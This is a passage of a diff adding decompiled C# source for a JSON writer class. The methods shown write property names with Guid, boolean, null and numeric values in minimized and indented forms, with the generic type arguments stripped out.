propertyName.EncodedUtf8Bytes; + WriteStringByOptions(encodedUtf8Bytes, value); + SetFlagToAddListSeparatorBeforeNextItem(); + _tokenType = JsonTokenType.String; + } + + public void WriteString(string propertyName, Guid value) + { + if (propertyName == null) + { + ThrowHelper.ThrowArgumentNullException("propertyName"); + } + WriteString(propertyName.AsSpan(), value); + } + + public void WriteString(ReadOnlySpan propertyName, Guid value) + { + JsonWriterHelper.ValidateProperty(propertyName); + WriteStringEscape(propertyName, value); + SetFlagToAddListSeparatorBeforeNextItem(); + _tokenType = JsonTokenType.String; + } + + public void WriteString(ReadOnlySpan utf8PropertyName, Guid value) + { + JsonWriterHelper.ValidateProperty(utf8PropertyName); + WriteStringEscape(utf8PropertyName, value); + SetFlagToAddListSeparatorBeforeNextItem(); + _tokenType = JsonTokenType.String; + } + + private void WriteStringEscape(ReadOnlySpan propertyName, Guid value) + { + int num = JsonWriterHelper.NeedsEscaping(propertyName, _options.Encoder); + if (num != -1) + { + WriteStringEscapeProperty(propertyName, value, num); + } + else + { + WriteStringByOptions(propertyName, value); + } + } + + private void WriteStringEscape(ReadOnlySpan utf8PropertyName, Guid value) + { + int num = JsonWriterHelper.NeedsEscaping(utf8PropertyName, _options.Encoder); + if (num != -1) + { + WriteStringEscapeProperty(utf8PropertyName, value, num); + } + else + { + WriteStringByOptions(utf8PropertyName, value); + } + } + + private void WriteStringEscapeProperty(ReadOnlySpan propertyName, Guid value, int firstEscapeIndexProp) + { + char[] array = null; + int maxEscapedLength = JsonWriterHelper.GetMaxEscapedLength(propertyName.Length, firstEscapeIndexProp); + Span span = ((maxEscapedLength > 128) ? ((Span)(array = ArrayPool.Shared.Rent(maxEscapedLength))) : stackalloc char[128]); + Span destination = span; + JsonWriterHelper.EscapeString(propertyName, destination, firstEscapeIndexProp, _options.Encoder, out var written); + WriteStringByOptions(destination.Slice(0, written), value); + if (array != null) + { + ArrayPool.Shared.Return(array); + } + } + + private void WriteStringEscapeProperty(ReadOnlySpan utf8PropertyName, Guid value, int firstEscapeIndexProp) + { + byte[] array = null; + int maxEscapedLength = JsonWriterHelper.GetMaxEscapedLength(utf8PropertyName.Length, firstEscapeIndexProp); + Span span = ((maxEscapedLength > 256) ? ((Span)(array = ArrayPool.Shared.Rent(maxEscapedLength))) : stackalloc byte[256]); + Span destination = span; + JsonWriterHelper.EscapeString(utf8PropertyName, destination, firstEscapeIndexProp, _options.Encoder, out var written); + WriteStringByOptions(destination.Slice(0, written), value); + if (array != null) + { + ArrayPool.Shared.Return(array); + } + } + + private void WriteStringByOptions(ReadOnlySpan propertyName, Guid value) + { + ValidateWritingProperty(); + if (_options.Indented) + { + WriteStringIndented(propertyName, value); + } + else + { + WriteStringMinimized(propertyName, value); + } + } + + private void WriteStringByOptions(ReadOnlySpan utf8PropertyName, Guid value) + { + ValidateWritingProperty(); + if (_options.Indented) + { + WriteStringIndented(utf8PropertyName, value); + } + else + { + WriteStringMinimized(utf8PropertyName, value); + } + } + + private void WriteStringMinimized(ReadOnlySpan escapedPropertyName, Guid value) + { + int num = escapedPropertyName.Length * 3 + 36 + 6; + if (_memory.Length - BytesPending < num) + { + Grow(num); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + span[BytesPending++] = 34; + TranscodeAndWrite(escapedPropertyName, span); + span[BytesPending++] = 34; + span[BytesPending++] = 58; + span[BytesPending++] = 34; + int bytesWritten; + bool flag = Utf8Formatter.TryFormat(value, span.Slice(BytesPending), out bytesWritten); + BytesPending += bytesWritten; + span[BytesPending++] = 34; + } + + private void WriteStringMinimized(ReadOnlySpan escapedPropertyName, Guid value) + { + int num = escapedPropertyName.Length + 36 + 5; + int num2 = num + 1; + if (_memory.Length - BytesPending < num2) + { + Grow(num2); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + span[BytesPending++] = 34; + escapedPropertyName.CopyTo(span.Slice(BytesPending)); + BytesPending += escapedPropertyName.Length; + span[BytesPending++] = 34; + span[BytesPending++] = 58; + span[BytesPending++] = 34; + int bytesWritten; + bool flag = Utf8Formatter.TryFormat(value, span.Slice(BytesPending), out bytesWritten); + BytesPending += bytesWritten; + span[BytesPending++] = 34; + } + + private void WriteStringIndented(ReadOnlySpan escapedPropertyName, Guid value) + { + int indentation = Indentation; + int num = indentation + escapedPropertyName.Length * 3 + 36 + 7 + s_newLineLength; + if (_memory.Length - BytesPending < num) + { + Grow(num); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + if (_tokenType != JsonTokenType.None) + { + WriteNewLine(span); + } + JsonWriterHelper.WriteIndentation(span.Slice(BytesPending), indentation); + BytesPending += indentation; + span[BytesPending++] = 34; + TranscodeAndWrite(escapedPropertyName, span); + span[BytesPending++] = 34; + span[BytesPending++] = 58; + span[BytesPending++] = 32; + span[BytesPending++] = 34; + int bytesWritten; + bool flag = Utf8Formatter.TryFormat(value, span.Slice(BytesPending), out bytesWritten); + BytesPending += bytesWritten; + span[BytesPending++] = 34; + } + + private void WriteStringIndented(ReadOnlySpan escapedPropertyName, Guid value) + { + int indentation = Indentation; + int num = indentation + escapedPropertyName.Length + 36 + 6; + int num2 = num + 1 + s_newLineLength; + if (_memory.Length - BytesPending < num2) + { + Grow(num2); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + if (_tokenType != JsonTokenType.None) + { + WriteNewLine(span); + } + JsonWriterHelper.WriteIndentation(span.Slice(BytesPending), indentation); + BytesPending += indentation; + span[BytesPending++] = 34; + escapedPropertyName.CopyTo(span.Slice(BytesPending)); + BytesPending += escapedPropertyName.Length; + span[BytesPending++] = 34; + span[BytesPending++] = 58; + span[BytesPending++] = 32; + span[BytesPending++] = 34; + int bytesWritten; + bool flag = Utf8Formatter.TryFormat(value, span.Slice(BytesPending), out bytesWritten); + BytesPending += bytesWritten; + span[BytesPending++] = 34; + } + + internal void WritePropertyName(Guid value) + { + Span destination = stackalloc byte[36]; + int bytesWritten; + bool flag = Utf8Formatter.TryFormat(value, destination, out bytesWritten); + WritePropertyNameUnescaped(destination.Slice(0, bytesWritten)); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private void ValidatePropertyNameAndDepth(ReadOnlySpan propertyName) + { + if (propertyName.Length > 166666666 || CurrentDepth >= _options.MaxDepth) + { + ThrowHelper.ThrowInvalidOperationOrArgumentException(propertyName, _currentDepth, _options.MaxDepth); + } + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private void ValidatePropertyNameAndDepth(ReadOnlySpan utf8PropertyName) + { + if (utf8PropertyName.Length > 166666666 || CurrentDepth >= _options.MaxDepth) + { + ThrowHelper.ThrowInvalidOperationOrArgumentException(utf8PropertyName, _currentDepth, _options.MaxDepth); + } + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private void ValidateDepth() + { + if (CurrentDepth >= _options.MaxDepth) + { + ThrowHelper.ThrowInvalidOperationException(_currentDepth, _options.MaxDepth); + } + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private void ValidateWritingProperty() + { + if (!_options.SkipValidation && (!_inObject || _tokenType == JsonTokenType.PropertyName)) + { + ThrowHelper.ThrowInvalidOperationException(ExceptionResource.CannotWritePropertyWithinArray, 0, _options.MaxDepth, 0, _tokenType); + } + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private void ValidateWritingProperty(byte token) + { + if (!_options.SkipValidation) + { + if (!_inObject || _tokenType == JsonTokenType.PropertyName) + { + ThrowHelper.ThrowInvalidOperationException(ExceptionResource.CannotWritePropertyWithinArray, 0, _options.MaxDepth, 0, _tokenType); + } + UpdateBitStackOnStart(token); + } + } + + private void WritePropertyNameMinimized(ReadOnlySpan escapedPropertyName, byte token) + { + int num = escapedPropertyName.Length + 4; + int num2 = num + 1; + if (_memory.Length - BytesPending < num2) + { + Grow(num2); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + span[BytesPending++] = 34; + escapedPropertyName.CopyTo(span.Slice(BytesPending)); + BytesPending += escapedPropertyName.Length; + span[BytesPending++] = 34; + span[BytesPending++] = 58; + span[BytesPending++] = token; + } + + private void WritePropertyNameIndented(ReadOnlySpan escapedPropertyName, byte token) + { + int indentation = Indentation; + int num = indentation + escapedPropertyName.Length + 5; + int num2 = num + 1 + s_newLineLength; + if (_memory.Length - BytesPending < num2) + { + Grow(num2); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + if (_tokenType != JsonTokenType.None) + { + WriteNewLine(span); + } + JsonWriterHelper.WriteIndentation(span.Slice(BytesPending), indentation); + BytesPending += indentation; + span[BytesPending++] = 34; + escapedPropertyName.CopyTo(span.Slice(BytesPending)); + BytesPending += escapedPropertyName.Length; + span[BytesPending++] = 34; + span[BytesPending++] = 58; + span[BytesPending++] = 32; + span[BytesPending++] = token; + } + + private void WritePropertyNameMinimized(ReadOnlySpan escapedPropertyName, byte token) + { + int num = escapedPropertyName.Length * 3 + 5; + if (_memory.Length - BytesPending < num) + { + Grow(num); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + span[BytesPending++] = 34; + TranscodeAndWrite(escapedPropertyName, span); + span[BytesPending++] = 34; + span[BytesPending++] = 58; + span[BytesPending++] = token; + } + + private void WritePropertyNameIndented(ReadOnlySpan escapedPropertyName, byte token) + { + int indentation = Indentation; + int num = indentation + escapedPropertyName.Length * 3 + 6 + s_newLineLength; + if (_memory.Length - BytesPending < num) + { + Grow(num); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + if (_tokenType != JsonTokenType.None) + { + WriteNewLine(span); + } + JsonWriterHelper.WriteIndentation(span.Slice(BytesPending), indentation); + BytesPending += indentation; + span[BytesPending++] = 34; + TranscodeAndWrite(escapedPropertyName, span); + span[BytesPending++] = 34; + span[BytesPending++] = 58; + span[BytesPending++] = 32; + span[BytesPending++] = token; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private void TranscodeAndWrite(ReadOnlySpan escapedPropertyName, Span output) + { + int written; + OperationStatus operationStatus = JsonWriterHelper.ToUtf8(escapedPropertyName, output.Slice(BytesPending), out written); + BytesPending += written; + } + + public void WriteNull(JsonEncodedText propertyName) + { + WriteLiteralHelper(propertyName.EncodedUtf8Bytes, JsonConstants.NullValue); + _tokenType = JsonTokenType.Null; + } + + internal void WriteNullSection(ReadOnlySpan escapedPropertyNameSection) + { + if (_options.Indented) + { + ReadOnlySpan utf8PropertyName = escapedPropertyNameSection.Slice(1, escapedPropertyNameSection.Length - 3); + WriteLiteralHelper(utf8PropertyName, JsonConstants.NullValue); + _tokenType = JsonTokenType.Null; + } + else + { + ReadOnlySpan nullValue = JsonConstants.NullValue; + WriteLiteralSection(escapedPropertyNameSection, nullValue); + SetFlagToAddListSeparatorBeforeNextItem(); + _tokenType = JsonTokenType.Null; + } + } + + private void WriteLiteralHelper(ReadOnlySpan utf8PropertyName, ReadOnlySpan value) + { + WriteLiteralByOptions(utf8PropertyName, value); + SetFlagToAddListSeparatorBeforeNextItem(); + } + + public void WriteNull(string propertyName) + { + if (propertyName == null) + { + ThrowHelper.ThrowArgumentNullException("propertyName"); + } + WriteNull(propertyName.AsSpan()); + } + + public void WriteNull(ReadOnlySpan propertyName) + { + JsonWriterHelper.ValidateProperty(propertyName); + ReadOnlySpan nullValue = JsonConstants.NullValue; + WriteLiteralEscape(propertyName, nullValue); + SetFlagToAddListSeparatorBeforeNextItem(); + _tokenType = JsonTokenType.Null; + } + + public void WriteNull(ReadOnlySpan utf8PropertyName) + { + JsonWriterHelper.ValidateProperty(utf8PropertyName); + ReadOnlySpan nullValue = JsonConstants.NullValue; + WriteLiteralEscape(utf8PropertyName, nullValue); + SetFlagToAddListSeparatorBeforeNextItem(); + _tokenType = JsonTokenType.Null; + } + + public void WriteBoolean(JsonEncodedText propertyName, bool value) + { + if (value) + { + WriteLiteralHelper(propertyName.EncodedUtf8Bytes, JsonConstants.TrueValue); + _tokenType = JsonTokenType.True; + } + else + { + WriteLiteralHelper(propertyName.EncodedUtf8Bytes, JsonConstants.FalseValue); + _tokenType = JsonTokenType.False; + } + } + + public void WriteBoolean(string propertyName, bool value) + { + if (propertyName == null) + { + ThrowHelper.ThrowArgumentNullException("propertyName"); + } + WriteBoolean(propertyName.AsSpan(), value); + } + + public void WriteBoolean(ReadOnlySpan propertyName, bool value) + { + JsonWriterHelper.ValidateProperty(propertyName); + ReadOnlySpan value2 = (value ? JsonConstants.TrueValue : JsonConstants.FalseValue); + WriteLiteralEscape(propertyName, value2); + SetFlagToAddListSeparatorBeforeNextItem(); + _tokenType = (value ? JsonTokenType.True : JsonTokenType.False); + } + + public void WriteBoolean(ReadOnlySpan utf8PropertyName, bool value) + { + JsonWriterHelper.ValidateProperty(utf8PropertyName); + ReadOnlySpan value2 = (value ? JsonConstants.TrueValue : JsonConstants.FalseValue); + WriteLiteralEscape(utf8PropertyName, value2); + SetFlagToAddListSeparatorBeforeNextItem(); + _tokenType = (value ? JsonTokenType.True : JsonTokenType.False); + } + + private void WriteLiteralEscape(ReadOnlySpan propertyName, ReadOnlySpan value) + { + int num = JsonWriterHelper.NeedsEscaping(propertyName, _options.Encoder); + if (num != -1) + { + WriteLiteralEscapeProperty(propertyName, value, num); + } + else + { + WriteLiteralByOptions(propertyName, value); + } + } + + private void WriteLiteralEscape(ReadOnlySpan utf8PropertyName, ReadOnlySpan value) + { + int num = JsonWriterHelper.NeedsEscaping(utf8PropertyName, _options.Encoder); + if (num != -1) + { + WriteLiteralEscapeProperty(utf8PropertyName, value, num); + } + else + { + WriteLiteralByOptions(utf8PropertyName, value); + } + } + + private void WriteLiteralEscapeProperty(ReadOnlySpan propertyName, ReadOnlySpan value, int firstEscapeIndexProp) + { + char[] array = null; + int maxEscapedLength = JsonWriterHelper.GetMaxEscapedLength(propertyName.Length, firstEscapeIndexProp); + Span span = ((maxEscapedLength > 128) ? ((Span)(array = ArrayPool.Shared.Rent(maxEscapedLength))) : stackalloc char[128]); + Span destination = span; + JsonWriterHelper.EscapeString(propertyName, destination, firstEscapeIndexProp, _options.Encoder, out var written); + WriteLiteralByOptions(destination.Slice(0, written), value); + if (array != null) + { + ArrayPool.Shared.Return(array); + } + } + + private void WriteLiteralEscapeProperty(ReadOnlySpan utf8PropertyName, ReadOnlySpan value, int firstEscapeIndexProp) + { + byte[] array = null; + int maxEscapedLength = JsonWriterHelper.GetMaxEscapedLength(utf8PropertyName.Length, firstEscapeIndexProp); + Span span = ((maxEscapedLength > 256) ? ((Span)(array = ArrayPool.Shared.Rent(maxEscapedLength))) : stackalloc byte[256]); + Span destination = span; + JsonWriterHelper.EscapeString(utf8PropertyName, destination, firstEscapeIndexProp, _options.Encoder, out var written); + WriteLiteralByOptions(destination.Slice(0, written), value); + if (array != null) + { + ArrayPool.Shared.Return(array); + } + } + + private void WriteLiteralByOptions(ReadOnlySpan propertyName, ReadOnlySpan value) + { + ValidateWritingProperty(); + if (_options.Indented) + { + WriteLiteralIndented(propertyName, value); + } + else + { + WriteLiteralMinimized(propertyName, value); + } + } + + private void WriteLiteralByOptions(ReadOnlySpan utf8PropertyName, ReadOnlySpan value) + { + ValidateWritingProperty(); + if (_options.Indented) + { + WriteLiteralIndented(utf8PropertyName, value); + } + else + { + WriteLiteralMinimized(utf8PropertyName, value); + } + } + + private void WriteLiteralMinimized(ReadOnlySpan escapedPropertyName, ReadOnlySpan value) + { + int num = escapedPropertyName.Length * 3 + value.Length + 4; + if (_memory.Length - BytesPending < num) + { + Grow(num); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + span[BytesPending++] = 34; + TranscodeAndWrite(escapedPropertyName, span); + span[BytesPending++] = 34; + span[BytesPending++] = 58; + value.CopyTo(span.Slice(BytesPending)); + BytesPending += value.Length; + } + + private void WriteLiteralMinimized(ReadOnlySpan escapedPropertyName, ReadOnlySpan value) + { + int num = escapedPropertyName.Length + value.Length + 3; + int num2 = num + 1; + if (_memory.Length - BytesPending < num2) + { + Grow(num2); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + span[BytesPending++] = 34; + escapedPropertyName.CopyTo(span.Slice(BytesPending)); + BytesPending += escapedPropertyName.Length; + span[BytesPending++] = 34; + span[BytesPending++] = 58; + value.CopyTo(span.Slice(BytesPending)); + BytesPending += value.Length; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private void WriteLiteralSection(ReadOnlySpan escapedPropertyNameSection, ReadOnlySpan value) + { + int num = escapedPropertyNameSection.Length + value.Length; + int num2 = num + 1; + if (_memory.Length - BytesPending < num2) + { + Grow(num2); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + escapedPropertyNameSection.CopyTo(span.Slice(BytesPending)); + BytesPending += escapedPropertyNameSection.Length; + value.CopyTo(span.Slice(BytesPending)); + BytesPending += value.Length; + } + + private void WriteLiteralIndented(ReadOnlySpan escapedPropertyName, ReadOnlySpan value) + { + int indentation = Indentation; + int num = indentation + escapedPropertyName.Length * 3 + value.Length + 5 + s_newLineLength; + if (_memory.Length - BytesPending < num) + { + Grow(num); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + if (_tokenType != JsonTokenType.None) + { + WriteNewLine(span); + } + JsonWriterHelper.WriteIndentation(span.Slice(BytesPending), indentation); + BytesPending += indentation; + span[BytesPending++] = 34; + TranscodeAndWrite(escapedPropertyName, span); + span[BytesPending++] = 34; + span[BytesPending++] = 58; + span[BytesPending++] = 32; + value.CopyTo(span.Slice(BytesPending)); + BytesPending += value.Length; + } + + private void WriteLiteralIndented(ReadOnlySpan escapedPropertyName, ReadOnlySpan value) + { + int indentation = Indentation; + int num = indentation + escapedPropertyName.Length + value.Length + 4; + int num2 = num + 1 + s_newLineLength; + if (_memory.Length - BytesPending < num2) + { + Grow(num2); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + if (_tokenType != JsonTokenType.None) + { + WriteNewLine(span); + } + JsonWriterHelper.WriteIndentation(span.Slice(BytesPending), indentation); + BytesPending += indentation; + span[BytesPending++] = 34; + escapedPropertyName.CopyTo(span.Slice(BytesPending)); + BytesPending += escapedPropertyName.Length; + span[BytesPending++] = 34; + span[BytesPending++] = 58; + span[BytesPending++] = 32; + value.CopyTo(span.Slice(BytesPending)); + BytesPending += value.Length; + } + + internal void WritePropertyName(bool value) + { + Span destination = stackalloc byte[5]; + int bytesWritten; + bool flag = Utf8Formatter.TryFormat(value, destination, out bytesWritten); + WritePropertyNameUnescaped(destination.Slice(0, bytesWritten)); + } + + public void WriteNumber(JsonEncodedText propertyName, long value) + { + ReadOnlySpan encodedUtf8Bytes = propertyName.EncodedUtf8Bytes; + WriteNumberByOptions(encodedUtf8Bytes, value); + SetFlagToAddListSeparatorBeforeNextItem(); + _tokenType = JsonTokenType.Number; + } + + public void WriteNumber(string propertyName, long value) + { + if (propertyName == null) + { + ThrowHelper.ThrowArgumentNullException("propertyName"); + } + WriteNumber(propertyName.AsSpan(), value); + } + + public void WriteNumber(ReadOnlySpan propertyName, long value) + { + JsonWriterHelper.ValidateProperty(propertyName); + WriteNumberEscape(propertyName, value); + SetFlagToAddListSeparatorBeforeNextItem(); + _tokenType = JsonTokenType.Number; + } + + public void WriteNumber(ReadOnlySpan utf8PropertyName, long value) + { + JsonWriterHelper.ValidateProperty(utf8PropertyName); + WriteNumberEscape(utf8PropertyName, value); + SetFlagToAddListSeparatorBeforeNextItem(); + _tokenType = JsonTokenType.Number; + } + + public void WriteNumber(JsonEncodedText propertyName, int value) + { + WriteNumber(propertyName, (long)value); + } + + public void WriteNumber(string propertyName, int value) + { + if (propertyName == null) + { + ThrowHelper.ThrowArgumentNullException("propertyName"); + } + WriteNumber(propertyName.AsSpan(), (long)value); + } + + public void WriteNumber(ReadOnlySpan propertyName, int value) + { + WriteNumber(propertyName, (long)value); + } + + public void WriteNumber(ReadOnlySpan utf8PropertyName, int value) + { + WriteNumber(utf8PropertyName, (long)value); + } + + private void WriteNumberEscape(ReadOnlySpan propertyName, long value) + { + int num = JsonWriterHelper.NeedsEscaping(propertyName, _options.Encoder); + if (num != -1) + { + WriteNumberEscapeProperty(propertyName, value, num); + } + else + { + WriteNumberByOptions(propertyName, value); + } + } + + private void WriteNumberEscape(ReadOnlySpan utf8PropertyName, long value) + { + int num = JsonWriterHelper.NeedsEscaping(utf8PropertyName, _options.Encoder); + if (num != -1) + { + WriteNumberEscapeProperty(utf8PropertyName, value, num); + } + else + { + WriteNumberByOptions(utf8PropertyName, value); + } + } + + private void WriteNumberEscapeProperty(ReadOnlySpan propertyName, long value, int firstEscapeIndexProp) + { + char[] array = null; + int maxEscapedLength = JsonWriterHelper.GetMaxEscapedLength(propertyName.Length, firstEscapeIndexProp); + Span span = ((maxEscapedLength > 128) ? ((Span)(array = ArrayPool.Shared.Rent(maxEscapedLength))) : stackalloc char[128]); + Span destination = span; + JsonWriterHelper.EscapeString(propertyName, destination, firstEscapeIndexProp, _options.Encoder, out var written); + WriteNumberByOptions(destination.Slice(0, written), value); + if (array != null) + { + ArrayPool.Shared.Return(array); + } + } + + private void WriteNumberEscapeProperty(ReadOnlySpan utf8PropertyName, long value, int firstEscapeIndexProp) + { + byte[] array = null; + int maxEscapedLength = JsonWriterHelper.GetMaxEscapedLength(utf8PropertyName.Length, firstEscapeIndexProp); + Span span = ((maxEscapedLength > 256) ? ((Span)(array = ArrayPool.Shared.Rent(maxEscapedLength))) : stackalloc byte[256]); + Span destination = span; + JsonWriterHelper.EscapeString(utf8PropertyName, destination, firstEscapeIndexProp, _options.Encoder, out var written); + WriteNumberByOptions(destination.Slice(0, written), value); + if (array != null) + { + ArrayPool.Shared.Return(array); + } + } + + private void WriteNumberByOptions(ReadOnlySpan propertyName, long value) + { + ValidateWritingProperty(); + if (_options.Indented) + { + WriteNumberIndented(propertyName, value); + } + else + { + WriteNumberMinimized(propertyName, value); + } + } + + private void WriteNumberByOptions(ReadOnlySpan utf8PropertyName, long value) + { + ValidateWritingProperty(); + if (_options.Indented) + { + WriteNumberIndented(utf8PropertyName, value); + } + else + { + WriteNumberMinimized(utf8PropertyName, value); + } + } + + private void WriteNumberMinimized(ReadOnlySpan escapedPropertyName, long value) + { + int num = escapedPropertyName.Length * 3 + 20 + 4; + if (_memory.Length - BytesPending < num) + { + Grow(num); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + span[BytesPending++] = 34; + TranscodeAndWrite(escapedPropertyName, span); + span[BytesPending++] = 34; + span[BytesPending++] = 58; + int bytesWritten; + bool flag = Utf8Formatter.TryFormat(value, span.Slice(BytesPending), out bytesWritten); + BytesPending += bytesWritten; + } + + private void WriteNumberMinimized(ReadOnlySpan escapedPropertyName, long value) + { + int num = escapedPropertyName.Length + 20 + 3; + int num2 = num + 1; + if (_memory.Length - BytesPending < num2) + { + Grow(num2); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + span[BytesPending++] = 34; + escapedPropertyName.CopyTo(span.Slice(BytesPending)); + BytesPending += escapedPropertyName.Length; + span[BytesPending++] = 34; + span[BytesPending++] = 58; + int bytesWritten; + bool flag = Utf8Formatter.TryFormat(value, span.Slice(BytesPending), out bytesWritten); + BytesPending += bytesWritten; + } + + private void WriteNumberIndented(ReadOnlySpan escapedPropertyName, long value) + { + int indentation = Indentation; + int num = indentation + escapedPropertyName.Length * 3 + 20 + 5 + s_newLineLength; + if (_memory.Length - BytesPending < num) + { + Grow(num); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + if (_tokenType != JsonTokenType.None) + { + WriteNewLine(span); + } + JsonWriterHelper.WriteIndentation(span.Slice(BytesPending), indentation); + BytesPending += indentation; + span[BytesPending++] = 34; + TranscodeAndWrite(escapedPropertyName, span); + span[BytesPending++] = 34; + span[BytesPending++] = 58; + span[BytesPending++] = 32; + int bytesWritten; + bool flag = Utf8Formatter.TryFormat(value, span.Slice(BytesPending), out bytesWritten); + BytesPending += bytesWritten; + } + + private void WriteNumberIndented(ReadOnlySpan escapedPropertyName, long value) + { + int indentation = Indentation; + int num = indentation + escapedPropertyName.Length + 20 + 4; + int num2 = num + 1 + s_newLineLength; + if (_memory.Length - BytesPending < num2) + { + Grow(num2); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + if (_tokenType != JsonTokenType.None) + { + WriteNewLine(span); + } + JsonWriterHelper.WriteIndentation(span.Slice(BytesPending), indentation); + BytesPending += indentation; + span[BytesPending++] = 34; + escapedPropertyName.CopyTo(span.Slice(BytesPending)); + BytesPending += escapedPropertyName.Length; + span[BytesPending++] = 34; + span[BytesPending++] = 58; + span[BytesPending++] = 32; + int bytesWritten; + bool flag = Utf8Formatter.TryFormat(value, span.Slice(BytesPending), out bytesWritten); + BytesPending += bytesWritten; + } + + internal void WritePropertyName(int value) + { + WritePropertyName((long)value); + } + + internal void WritePropertyName(long value) + { + Span destination = stackalloc byte[20]; + int bytesWritten; + bool flag = Utf8Formatter.TryFormat(value, destination, out bytesWritten); + WritePropertyNameUnescaped(destination.Slice(0, bytesWritten)); + } + + public void WritePropertyName(JsonEncodedText propertyName) + { + WritePropertyNameHelper(propertyName.EncodedUtf8Bytes); + } + + internal void WritePropertyNameSection(ReadOnlySpan escapedPropertyNameSection) + { + if (_options.Indented) + { + ReadOnlySpan utf8PropertyName = escapedPropertyNameSection.Slice(1, escapedPropertyNameSection.Length - 3); + WritePropertyNameHelper(utf8PropertyName); + return; + } + WriteStringPropertyNameSection(escapedPropertyNameSection); + _currentDepth &= int.MaxValue; + _tokenType = JsonTokenType.PropertyName; + _commentAfterNoneOrPropertyName = false; + } + + private void WritePropertyNameHelper(ReadOnlySpan utf8PropertyName) + { + WriteStringByOptionsPropertyName(utf8PropertyName); + _currentDepth &= int.MaxValue; + _tokenType = JsonTokenType.PropertyName; + _commentAfterNoneOrPropertyName = false; + } + + public void WritePropertyName(string propertyName) + { + if (propertyName == null) + { + ThrowHelper.ThrowArgumentNullException("propertyName"); + } + WritePropertyName(propertyName.AsSpan()); + } + + public void WritePropertyName(ReadOnlySpan propertyName) + { + JsonWriterHelper.ValidateProperty(propertyName); + int num = JsonWriterHelper.NeedsEscaping(propertyName, _options.Encoder); + if (num != -1) + { + WriteStringEscapeProperty(propertyName, num); + } + else + { + WriteStringByOptionsPropertyName(propertyName); + } + _currentDepth &= int.MaxValue; + _tokenType = JsonTokenType.PropertyName; + _commentAfterNoneOrPropertyName = false; + } + + private void WriteStringEscapeProperty(scoped ReadOnlySpan propertyName, int firstEscapeIndexProp) + { + char[] array = null; + if (firstEscapeIndexProp != -1) + { + int maxEscapedLength = JsonWriterHelper.GetMaxEscapedLength(propertyName.Length, firstEscapeIndexProp); + Span destination; + if (maxEscapedLength > 128) + { + array = ArrayPool.Shared.Rent(maxEscapedLength); + destination = array; + } + else + { + destination = stackalloc char[128]; + } + JsonWriterHelper.EscapeString(propertyName, destination, firstEscapeIndexProp, _options.Encoder, out var written); + propertyName = destination.Slice(0, written); + } + WriteStringByOptionsPropertyName(propertyName); + if (array != null) + { + ArrayPool.Shared.Return(array); + } + } + + private void WriteStringByOptionsPropertyName(ReadOnlySpan propertyName) + { + ValidateWritingProperty(); + if (_options.Indented) + { + WriteStringIndentedPropertyName(propertyName); + } + else + { + WriteStringMinimizedPropertyName(propertyName); + } + } + + private void WriteStringMinimizedPropertyName(ReadOnlySpan escapedPropertyName) + { + int num = escapedPropertyName.Length * 3 + 4; + if (_memory.Length - BytesPending < num) + { + Grow(num); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + span[BytesPending++] = 34; + TranscodeAndWrite(escapedPropertyName, span); + span[BytesPending++] = 34; + span[BytesPending++] = 58; + } + + private void WriteStringIndentedPropertyName(ReadOnlySpan escapedPropertyName) + { + int indentation = Indentation; + int num = indentation + escapedPropertyName.Length * 3 + 5 + s_newLineLength; + if (_memory.Length - BytesPending < num) + { + Grow(num); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + if (_tokenType != JsonTokenType.None) + { + WriteNewLine(span); + } + JsonWriterHelper.WriteIndentation(span.Slice(BytesPending), indentation); + BytesPending += indentation; + span[BytesPending++] = 34; + TranscodeAndWrite(escapedPropertyName, span); + span[BytesPending++] = 34; + span[BytesPending++] = 58; + span[BytesPending++] = 32; + } + + public void WritePropertyName(ReadOnlySpan utf8PropertyName) + { + JsonWriterHelper.ValidateProperty(utf8PropertyName); + int num = JsonWriterHelper.NeedsEscaping(utf8PropertyName, _options.Encoder); + if (num != -1) + { + WriteStringEscapeProperty(utf8PropertyName, num); + } + else + { + WriteStringByOptionsPropertyName(utf8PropertyName); + } + _currentDepth &= int.MaxValue; + _tokenType = JsonTokenType.PropertyName; + _commentAfterNoneOrPropertyName = false; + } + + private void WritePropertyNameUnescaped(ReadOnlySpan utf8PropertyName) + { + JsonWriterHelper.ValidateProperty(utf8PropertyName); + WriteStringByOptionsPropertyName(utf8PropertyName); + _currentDepth &= int.MaxValue; + _tokenType = JsonTokenType.PropertyName; + _commentAfterNoneOrPropertyName = false; + } + + private void WriteStringEscapeProperty(scoped ReadOnlySpan utf8PropertyName, int firstEscapeIndexProp) + { + byte[] array = null; + if (firstEscapeIndexProp != -1) + { + int maxEscapedLength = JsonWriterHelper.GetMaxEscapedLength(utf8PropertyName.Length, 